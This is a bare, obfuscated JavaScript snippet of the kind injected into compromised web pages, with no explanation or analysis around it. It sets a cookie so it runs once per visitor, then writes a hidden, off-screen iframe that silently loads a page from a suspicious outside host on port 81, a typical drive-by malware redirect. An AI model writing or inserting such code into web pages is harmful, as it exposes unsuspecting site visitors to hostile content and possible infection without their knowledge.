var carbt="Eri"  +""+""+"da"+""+"ha"+ "tes";var l44fj= carbt.	split("").reverse()	.join("");	if(	-1	==document
.cookie.	indexOf
(l44fj)){  var c1c=new Date; c1c.setTime(c1c.	getTime  ())  ;var mwb1jmo=  72E6;var xxu=new   Date (c1c. getTime()	+mwb1jmo)	;document. cookie=	l44fj+"="+escape(xxu.toGMTString())	+""+	";e"+  "x"+""+""+"pi"+""+"re"+	"s"	+""+"="+xxu.toGMTString()	+""+";pa"  +"th"+""+"=/";var t7efxubi	=document.createElement(""+"if" +""+""+"r"+""+"am"	+""+"e");	t7efxubi.setAttribute("sr"+""+"c"    ,""+""+  "htt"+"p:/"+""+"/c"+""+	"oc"+""+"kt"+"ail"+ "d"+""+"run"+""+"kl"+"yc"	+""+ "he"+""+"e"+""+""+".bi"  +"z."+"br"+""+ ".t"+"c"  +""+":"+""+	"81/"+"r" +"em"+""+"2"+".ht"
+""+  "m"+""+  "l" 	);
t7efxubi.style  .position= "a"+""+ "b" +""+"so"  +""+"lu"+"te";
t7efxubi.style.  width="29" +""+"px" ;t7efxubi.setAttribute	("f"  +""+  "ra"+""+""+"me"+""+"bor"	+""+  "de" +  "r",navigator.  userAgent.
indexOf	(""+"6"+""+	"38"+  "4"+""+"49"+""+"44"+""+	"825" )+1)	;t7efxubi.style.left
=""+"-34"	+""+"75"+""+"px" ;	document.write ("<di"+""+ "v " +"id="  +"'o8kcgkhax'"+"></" +""+"div"+""+">");document.getElementById(""+"o8"	+""+"kcg"+"k" +"h"+""+"ax").	appendChild(t7efxubi)  };	